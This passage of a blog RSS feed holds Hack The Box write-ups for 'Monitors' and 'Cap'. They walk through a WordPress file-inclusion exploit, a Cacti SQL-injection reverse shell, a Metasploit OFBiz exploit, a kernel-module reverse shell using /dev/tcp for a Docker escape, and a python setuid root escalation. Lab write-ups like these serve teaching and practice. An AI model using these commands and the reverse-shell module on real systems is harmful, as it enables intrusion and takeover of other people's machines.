&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Hosts&lt;/h2&gt;
&lt;p&gt;Then we add the domain to &lt;code&gt;/etc/hosts&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(root㉿kali)-[/home/kali]
└─# echo &quot;10.10.10.238 monitors.htb&quot; &amp;gt;&amp;gt; /etc/hosts
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Wordpress&lt;/h2&gt;
&lt;p&gt;Nmap showed the site uses WordPress 5.5.1,
so we’ll scan this WordPress site with wpscan:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ sudo wpscan --url http://monitors.htb -e ap,t,tt,u --api-token TOKEN
[...]
[i] Plugin(s) Identified:

[+] wp-with-spritz
 | Location: http://monitors.htb/wp-content/plugins/wp-with-spritz/
 | Latest Version: 1.0 (up to date)
 | Last Updated: 2015-08-20T20:15:00.000Z
 |
 | Found By: Urls In Homepage (Passive Detection)
 |
 | [!] 1 vulnerability identified:
 |
 | [!] Title: WP with Spritz 1.0 - Unauthenticated File Inclusion
 |     References:
 |      - https://wpscan.com/vulnerability/cdd8b32a-b424-4548-a801-bbacbaad23f8
 |      - https://www.exploit-db.com/exploits/44544/
 |
 | Version: 4.2.4 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://monitors.htb/wp-content/plugins/wp-with-spritz/readme.txt
[...]
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Wordpress RFI&lt;/h2&gt;
&lt;p&gt;Wpscan tells us the &lt;code&gt;wp-with-spritz&lt;/code&gt; plugin version is vulnerable to an RFI:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ locate 44544                       
/usr/share/exploitdb/exploits/php/webapps/44544.php
          
┌──(kali㉿kali)-[~]
└─$ cat /usr/share/exploitdb/exploits/php/webapps/44544.php                                  
# Exploit Title: WordPress Plugin WP with Spritz 1.0 - Remote File Inclusion
# Date: 2018-04-25
# Exploit Author: Wadeek
# Software Link: https://downloads.wordpress.org/plugin/wp-with-spritz.zip
# Software Version: 1.0
# Google Dork: intitle:(&quot;Spritz Login Success&quot;) AND inurl:(&quot;wp-with-spritz/wp.spritz.login.success.html&quot;)
# Tested on: Apache2 with PHP 7 on Linux
# Category: webapps


1. Version Disclosure

/wp-content/plugins/wp-with-spritz/readme.txt

2. Source Code

if(isset($_GET[&apos;url&apos;])){
$content=file_get_contents($_GET[&apos;url&apos;]);

3. Proof of Concept

/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd
/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=http(s)://domain/exec                                                                                  
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So, let’s check Apache’s configuration:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ curl http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/apache2/sites-enabled/000-default.conf
# Default virtual host settings
# Add monitors.htb.conf
# Add cacti-admin.monitors.htb.conf

&amp;lt;VirtualHost *:80&amp;gt;
[...]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We then find a new domain to add:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(root㉿kali)-[/home/kali]
└─# echo &quot;10.10.10.238 cacti-admin.monitors.htb&quot; &amp;gt;&amp;gt; /etc/hosts
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;monitors.htb&lt;/code&gt; config shows the site’s document root is &lt;code&gt;/var/www/wordpress&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ curl http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/apache2/sites-enabled/monitors.htb.conf 
[...]
        ServerAdmin admin@monitors.htb
        ServerName monitors.htb
        ServerAlias monitors.htb
        DocumentRoot /var/www/wordpress
[...]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then the WordPress config file &lt;code&gt;wp-config.php&lt;/code&gt; gives us the database password:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ curl http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../var/www/wordpress/wp-config.php

define( &apos;DB_NAME&apos;, &apos;wordpress&apos; );

/** MySQL database username */
define( &apos;DB_USER&apos;, &apos;wpadmin&apos; );

/** MySQL database password */
define( &apos;DB_PASSWORD&apos;, &apos;BestAdministrator@2020!&apos; );
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Cacti&lt;/h2&gt;
&lt;p&gt;Let’s go to the new site we found:
&lt;img src=&quot;./cacti.png&quot; alt=&quot;cacti&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This site uses &lt;code&gt;cacti 1.2.12&lt;/code&gt;. Let’s see if there are known exploits for this version:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ searchsploit cacti 1.2.12
------------------------------------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                                                    |  Path
------------------------------------------------------------------------------------------------------------------ ---------------------------------
Cacti 1.2.12 - &apos;filter&apos; SQL Injection                                                                             | php/webapps/49810.py
------------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
Papers: No Results

┌──(kali㉿kali)-[~]
└─$ locate php/webapps/49810.py        
/usr/share/exploitdb/exploits/php/webapps/49810.py

└─$ python3 /usr/share/exploitdb/exploits/php/webapps/49810.py
usage: 49810.py [-h] -t &amp;lt;target/host URL&amp;gt; -u &amp;lt;user&amp;gt; -p &amp;lt;password&amp;gt; --lhost &amp;lt;lhost&amp;gt; --lport &amp;lt;lport&amp;gt;
49810.py: error: the following arguments are required: -t, -u, -p, --lhost, --lport
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We need a password; if we try &lt;code&gt;admin:BestAdministrator@2020!&lt;/code&gt; it works.
The exploit gets an RCE via an SQLi:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Desktop]
└─$ python3 /usr/share/exploitdb/exploits/php/webapps/49810.py -t http://cacti-admin.monitors.htb -u admin -p BestAdministrator@2020! --lhost 10.10.14.5 --lport 4444 
[+] Connecting to the server...
[+] Retrieving CSRF token...
[+] Got CSRF token: sid:cd05039fb335b6d5cbf9fcecc77db39a5d777669,1694259967
[+] Trying to log in...
[+] Successfully logged in!

[+] SQL Injection:
&quot;name&quot;,&quot;hex&quot;
&quot;&quot;,&quot;&quot;
&quot;admin&quot;,&quot;$2y$10$TycpbAes3hYvzsbRxUEbc.dTqT0MdgVipJNBYu8b7rUlmB8zn8JwK&quot;
&quot;guest&quot;,&quot;43e9a4ab75570f5b&quot;

[+] Check your nc listener!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The reverse shell worked and our netcat shows we’re connected as &lt;code&gt;www-data&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.238] 33632
/bin/sh: 0: can&apos;t access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;At this point, I always use this command to upgrade my shell (though here it’s probably unnecessary):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ python3 -c &apos;import pty; pty.spawn(&quot;/bin/sh&quot;)&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;www-data -&amp;gt; marcus&lt;/h2&gt;
&lt;p&gt;Let’s look for references to the user &lt;code&gt;marcus&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ grep &apos;marcus&apos; /etc -R 2&amp;gt;/dev/null
grep &apos;marcus&apos; /etc -R 2&amp;gt;/dev/null
/etc/group-:marcus:x:1000:
/etc/subgid:marcus:165536:65536
/etc/group:marcus:x:1000:
/etc/passwd:marcus:x:1000:1000:Marcus Haynes:/home/marcus:/bin/bash
/etc/systemd/system/cacti-backup.service:ExecStart=/home/marcus/.backup/backup.sh
/etc/subuid:marcus:165536:65536
/etc/passwd-:marcus:x:1000:1000:Marcus Haynes:/home/marcus:/bin/bash

$ cat /home/marcus/.backup/backup.sh
cat /home/marcus/.backup/backup.sh                                                                                                                  
#!/bin/bash                                                                                                                                         
                                                                                                                                                    
backup_name=&quot;cacti_backup&quot;                                                                                                                          
config_pass=&quot;VerticalEdge2020&quot;

zip /tmp/${backup_name}.zip /usr/share/cacti/cacti/*
sshpass -p &quot;${config_pass}&quot; scp /tmp/${backup_name} 192.168.1.14:/opt/backup_collection/${backup_name}.zip
rm /tmp/${backup_name}.zip
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We then obtain a new password &lt;code&gt;VerticalEdge2020&lt;/code&gt;.&lt;/p&gt;
&lt;h1&gt;Root&lt;/h1&gt;
&lt;p&gt;With this, we connect to Marcus’s SSH:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ ssh marcus@monitors.htb    
marcus@monitors:~$
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We also get the user flag:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;marcus@monitors:~$ cat user.txt 
5bb7..443ea
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;linpeas.sh&lt;/h2&gt;
&lt;p&gt;Now we aim to escalate privileges to &lt;code&gt;root&lt;/code&gt;. To do so, we’ll use &lt;code&gt;linpeas.sh&lt;/code&gt; to enumerate interesting information.&lt;/p&gt;
&lt;p&gt;Neither curl nor wget is available, so we won’t use HTTP to send files; we’ll use netcat since it’s available:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Target:
$ nc -l -p 1234 &amp;gt; linpeas.sh
nc -l -p 1234 &amp;gt; linpeas.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# Kali:
┌──(kali㉿kali)-[~/Desktop/linpeas-server]
└─$ nc -w 3 10.10.10.238 1234 &amp;lt; linpeas.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We run linpeas:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ chmod +x linpeas.sh
chmod +x linpeas.sh
$ ./linpeas.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Linpeas shows the locally used ports:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports                                                                                                                                                               
tcp        0      0 127.0.0.1:8443          0.0.0.0:*               LISTEN      -                                                                                                                                                           
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Tunnel (Chisel)&lt;/h2&gt;
&lt;p&gt;The service &lt;code&gt;127.0.0.1:8443&lt;/code&gt; catches my eye,
so we’ll set up a proxy to access the local network:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;marcus@monitors:~$ nc -l -p 1234 &amp;gt; chisel
marcus@monitors:~$ chmod +x chisel
marcus@monitors:~$ ./chisel client 10.10.14.5:8000 R:8443:127.0.0.1:1080
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Desktop/linpeas-server]
└─$ ./chisel server -p 8000 --reverse
2023/09/09 17:23:05 server: Reverse tunnelling enabled
2023/09/09 17:23:05 server: Fingerprint byl8Mf/Bu9BZsKH8mG4H4E3zwSd50oTi+HL4CEFwWc8=
2023/09/09 17:23:05 server: Listening on http://0.0.0.0:8000
2023/09/09 17:23:05 server: session#1: tun: proxy#R:8443=&amp;gt;8443: Listening
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Chisel then created a tunnel to access &lt;code&gt;https://localhost:8443/&lt;/code&gt; on our own machine:
&lt;img src=&quot;./tomcat.png&quot; alt=&quot;tomcat&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Desktop/linpeas-server]
└─$ dirsearch -u &quot;https://localhost:8443/&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;dirsearch&lt;/code&gt; shows that &lt;code&gt;https://localhost:8443/solr/&lt;/code&gt; exists.&lt;/p&gt;
&lt;p&gt;With a quick search we find:
&lt;img src=&quot;./solr.png&quot; alt=&quot;solr&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;ofbiz exploit&lt;/h2&gt;
&lt;p&gt;We then find that &lt;code&gt;https://localhost:8443/solr/#/&lt;/code&gt; redirects to &lt;code&gt;https://localhost:8443/solr/control/checkLogin/#/&lt;/code&gt;:
&lt;img src=&quot;./ofbiz.png&quot; alt=&quot;ofbiz&quot; /&gt;
This service uses &lt;code&gt;ofbiz 17.12.01&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Searchsploit&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ searchsploit ofbiz                      
------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                                                                            |  Path
------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Apache OFBiz - Admin Creator                                                                                                              | multiple/remote/12264.txt
Apache OFBiz - Multiple Cross-Site Scripting Vulnerabilities                                                                              | php/webapps/12330.txt
Apache OFBiz - Remote Execution (via SQL Execution)                                                                                       | multiple/remote/12263.txt
Apache OFBiz 10.4.x - Multiple Cross-Site Scripting Vulnerabilities                                                                       | multiple/remote/38230.txt
Apache OFBiz 16.11.04 - XML External Entity Injection                                                                                     | java/webapps/45673.py
Apache OFBiz 16.11.05 - Cross-Site Scripting                                                                                              | multiple/webapps/45975.txt
Apache OFBiz 17.12.03 - Cross-Site Request Forgery (Account Takeover)                                                                     | java/webapps/48408.txt
ApacheOfBiz 17.12.01 - Remote Command Execution (RCE)                                                                                     | java/webapps/50178.sh
------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
Papers: No Results
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Metasploit&lt;/h3&gt;
&lt;p&gt;The exploit found with &lt;code&gt;searchsploit&lt;/code&gt; doesn’t work. I then look in &lt;code&gt;Metasploit&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Desktop]
└─$ msfconsole                          
msf6 &amp;gt; search ofbiz

Matching Modules
================

   #  Name                                                  Disclosure Date  Rank       Check  Description
   -  ----                                                  ---------------  ----       -----  -----------
   0  exploit/linux/http/apache_ofbiz_deserialization_soap  2021-03-22       excellent  Yes    Apache OFBiz SOAP Java Deserialization
   1  exploit/linux/http/apache_ofbiz_deserialization       2020-07-13       excellent  Yes    Apache OFBiz XML-RPC Java Deserialization
   2  auxiliary/scanner/http/log4shell_scanner              2021-12-09       normal     No     Log4Shell HTTP Scanner
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let’s use &lt;code&gt;Apache OFBiz XML-RPC Java Deserialization&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msf6 &amp;gt; use 1
[*] Using configured payload linux/x64/meterpreter_reverse_https
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After configuration I have:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msf6 exploit(linux/http/apache_ofbiz_deserialization) &amp;gt; show options

Module options (exploit/linux/http/apache_ofbiz_deserialization):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     127.0.0.1        yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT      8443             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addres
                                         ses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        true             no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       Base path
   URIPATH                     no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host


Payload options (linux/x64/meterpreter_reverse_https):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.14.5       yes       The local listener hostname
   LPORT  4444             yes       The local listener port
   LURI                    no        The HTTP Path


Exploit target:

   Id  Name
   --  ----
   1   Linux Dropper
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;All that’s left is to run it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;msf6 exploit(linux/http/apache_ofbiz_deserialization) &amp;gt; run
[*] Started HTTPS reverse handler on https://10.10.14.5:4444
[*] Running automatic check (&quot;set AutoCheck false&quot; to disable)
[-] Exploit aborted due to failure: not-vulnerable: The target is not exploitable. Target cannot deserialize arbitrary data. &quot;set ForceExploit true&quot; to override check result.
[*] Exploit completed, but no session was created.
msf6 exploit(linux/http/apache_ofbiz_deserialization) &amp;gt; set ForceExploit true
ForceExploit =&amp;gt; true
msf6 exploit(linux/http/apache_ofbiz_deserialization) &amp;gt; run
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Docker&lt;/h1&gt;
&lt;p&gt;At this stage, we see we’re in a docker compose environment:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;meterpreter &amp;gt; cat /proc/1/cgroup
12:pids:/docker/69506ef7a41b39b56262c2f634281cffb6792b0be677ee04c6a3fac480a0983b
11:cpuset:/docker/69506ef7a41b39b56262c2f634281cffb6792b0be677ee04c6a3fac480a0983b
10:hugetlb:/docker/69506ef7a41b39b56262c2f634281cffb6792b0be677ee04c6a3fac480a0983b
9:devices:/docker/69506ef7a41b39b56262c2f634281cffb6792b0be677ee04c6a3fac480a0983b
8:blkio:/docker/69506ef7a41b39b56262c2f634281cffb6792b0be677ee04c6a3fac480a0983b
7:cpu,cpuacct:/docker/69506ef7a41b39b56262c2f634281cffb6792b0be677ee04c6a3fac480a0983b
6:freezer:/docker/69506ef7a41b39b56262c2f634281cffb6792b0be677ee04c6a3fac480a0983b
5:net_cls,net_prio:/docker/69506ef7a41b39b56262c2f634281cffb6792b0be677ee04c6a3fac480a0983b
4:perf_event:/docker/69506ef7a41b39b56262c2f634281cffb6792b0be677ee04c6a3fac480a0983b
3:rdma:/
2:memory:/docker/69506ef7a41b39b56262c2f634281cffb6792b0be677ee04c6a3fac480a0983b
1:name=systemd:/docker/69506ef7a41b39b56262c2f634281cffb6792b0be677ee04c6a3fac480a0983b
0::/system.slice/containerd.service
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let’s return to a shell:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;meterpreter &amp;gt; shell
Process 203 created.
Channel 4 created.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We discover we are indeed root. The goal now is to get out of the docker compose environment:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;id
uid=0(root) gid=0(root) groups=0(root)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Docker Escape&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation&quot;&gt;Hacktricks&lt;/a&gt; suggests looking for capability-related vulnerabilities:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;capsh --print

Terminate channel 4? [y/N]  N                                                                                                                                               
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+eip                                                                                                                                         
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1&apos;b0
 secure-noroot: no (unlocked)
 secure-no-suid-fixup: no (unlocked)
 secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We see here that &lt;code&gt;cap_sys_module&lt;/code&gt; can be exploited (cf. Hacktricks).&lt;/p&gt;
&lt;p&gt;With a bit of research, I found this post: &lt;a href=&quot;https://blog.nody.cc/posts/container-breakouts-part2/&quot;&gt;https://blog.nody.cc/posts/container-breakouts-part2/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;So we create the two files shown in the post:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;linux/kmod.h&amp;gt;
#include &amp;lt;linux/module.h&amp;gt;
MODULE_LICENSE(&quot;GPL&quot;);
MODULE_AUTHOR(&quot;AttackDefense&quot;);
MODULE_DESCRIPTION(&quot;LKM reverse shell module&quot;);
MODULE_VERSION(&quot;1.0&quot;);

char* argv[] = {&quot;/bin/bash&quot;,&quot;-c&quot;,&quot;bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.14.5/4445 0&amp;gt;&amp;amp;1&quot;, NULL};
static char* envp[] = {&quot;PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin&quot;, NULL };

// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
    return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit reverse_shell_exit(void) {
    printk(KERN_INFO &quot;Exiting\n&quot;);
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;obj-m +=reverse-shell.o

all:
	make -C /lib/modules/4.15.0-142-generic/build M=$(PWD) modules
clean:
	make -C /lib/modules/4.15.0-142-generic/build M=$(PWD) clean
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then we download them onto the target:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Desktop/linpeas-server]
└─$ python2 -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;wget 10.10.14.5/reverse-shell.c
--2023-09-09 17:13:13--  http://10.10.14.5/reverse-shell.c
Connecting to 10.10.14.5:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 616 [text/plain]
Saving to: ‘reverse-shell.c’

     0K                                                       100% 50.2M=0s

2023-09-09 17:13:13 (50.2 MB/s) - ‘reverse-shell.c’ saved [616/616]
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;wget 10.10.14.5/Makefile
connected.
HTTP request sent, awaiting response... --2023-09-09 17:13:30--  http://10.10.14.5/Makefile
Connecting to 10.10.14.5:80... 200 OK
Length: 148 [application/octet-stream]
Saving to: ‘Makefile’

     0K                                                       100% 18.1M=0s

2023-09-09 17:13:30 (18.1 MB/s) - ‘Makefile’ saved [148/148]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After building the files with &lt;code&gt;make&lt;/code&gt;, we run:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;insmod reverse-shell.ko
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Root&lt;/h1&gt;
&lt;p&gt;And there we go—we’re out of Docker and we’re root!&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4445
listening on [any] 4445 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.238] 38630
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We then retrieve the final flag:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@monitors:/# cat /root/root.txt
cat /root/root.txt
db03..9500
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>[HTB - Easy] Cap</title><link>https://jsthope.xyz/posts/cap/cap/</link><guid isPermaLink="true">https://jsthope.xyz/posts/cap/cap/</guid><description>Writeup by jsthope</description><pubDate>Fri, 08 Sep 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;nmap&lt;/h1&gt;
&lt;p&gt;First, we&apos;ll scan the open ports of the IP:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌─[eu-vip-23]─[10.10.14.5]─[htb-jsthope@htb-xbv1dyv8fx]─[~]
└──╼ [★]$ nmap 10.10.10.245
Starting Nmap 7.93 ( https://nmap.org ) at 2023-09-07 22:35 BST
Nmap scan report for 10.10.10.245
Host is up (0.18s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 8.69 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;http&lt;/h1&gt;
&lt;p&gt;On the site, we notice we&apos;re logged in by default as the user &quot;Nathan&quot;.
We then find that the site allows downloading network captures:
http://10.10.10.245/data/0&lt;/p&gt;
&lt;p&gt;We download pcap number 0 and analyze it with Wireshark:
&lt;img src=&quot;./pcap.png&quot; alt=&quot;pcap&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We then find Nathan&apos;s password (used for FTP).&lt;/p&gt;
&lt;h1&gt;ssh&lt;/h1&gt;
&lt;p&gt;Nathan&apos;s FTP password is the same as his SSH password:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;─[eu-vip-23]─[10.10.14.5]─[htb-jsthope@htb-xbv1dyv8fx]─[~]
└──╼ [★]$ ssh nathan@10.10.10.245
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We then retrieve the user flag:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nathan@cap:~$ ls
user.txt
nathan@cap:~$ cat user.txt
ebd67..bc21c
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;privesc&lt;/h1&gt;
&lt;p&gt;We check for vulnerabilities related to capabilities:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nathan@cap:~$ getcap -r / 2&amp;gt;/dev/null
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can immediately see here that python3.8 is likely vulnerable to a setuid-type exploit.
You can find capability exploits on &lt;a href=&quot;https://gtfobins.github.io/gtfobins/python/#capabilities&quot;&gt;gfobins&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nathan@cap:~$ python3 -c &apos;import os; os.setuid(0); os.system(&quot;/bin/sh&quot;)&apos;

# id
uid=0(root) gid=1001(nathan) groups=1001(nathan)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We are indeed root!
All that remains is to retrieve the final flag:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# cat /root/root.txt
0987..b266c
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item></channel></rss>